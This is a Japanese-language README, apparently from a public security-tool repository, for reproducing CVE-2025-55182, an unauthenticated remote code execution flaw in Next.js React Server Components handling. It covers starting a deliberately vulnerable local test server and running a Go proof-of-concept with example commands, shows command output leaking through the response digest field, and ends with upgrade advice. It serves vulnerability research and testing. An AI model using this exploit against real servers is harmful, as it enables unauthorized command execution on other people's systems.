CVE-2025-55182 Next.js RCE 再現ガイド

免責事項

⚠️ このツールはセキュリティ研究および教育目的のみに使用してください。不正な目的での使用は禁止されています。 ⚠️

脆弱性の概要

CVE-2025-55182 は、Next.js フレームワークにおける深刻なリモートコード実行 (RCE) 脆弱性です。この脆弱性は、Next.js が React Server Components (RSC) リクエストを処理する際に安全でない逆シリアル化の問題が原因で発生します。攻撃者は悪意のある HTTP リクエストを構築することで、認証なしにサーバー上で任意のコードを実行できます。

影響を受けるバージョン：

• Next.js 15.x < 15.0.5
• Next.js 16.x < 16.0.7
• 一部の Canary バージョン

環境構築

このプロジェクトは、脆弱性のある Next.js テストサーバー test-server を提供します。

1. テストサーバーの起動

Node.js と npm がインストールされていることを確認してください。

cd test-server
npm install
npm run dev

サーバーはデフォルトで http://localhost:3000 で実行されます。

注意： lock ファイルエラーが発生した場合は、以下を実行してみてください：

rm -f .next/dev/lock && npm run dev

脆弱性の再現 (POC)

このプロジェクトは Go 言語の POC スクリプト poc.go を提供します。

Go スクリプトの使用

使用方法：

go run poc.go [目標URL] [実行するコマンド]

例：

1. id コマンドを実行 (デフォルト)

   root@kitploit:~

   go run poc.go
   

   または

   root@kitploit:~

   go run poc.go http://localhost:3000 id
   

2. 現在のディレクトリのファイルを表示

   root@kitploit:~

   go run poc.go http://localhost:3000 "ls -la"
   

3. ファイルの内容を表示

   root@kitploit:~

   go run poc.go http://localhost:3000 "cat package.json"
   

期待される出力： HTTP ステータスコードは 500 を返しますが、コマンドの実行結果はレスポンスの digest フィールドに含まれます。

1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}

修正の推奨事項

Next.js を安全なバージョンにアップグレードしてください：

• Next.js 15.x -> 15.0.5+
• Next.js 16.x -> 16.0.7+

npm install next@latest react@latest react-dom@latest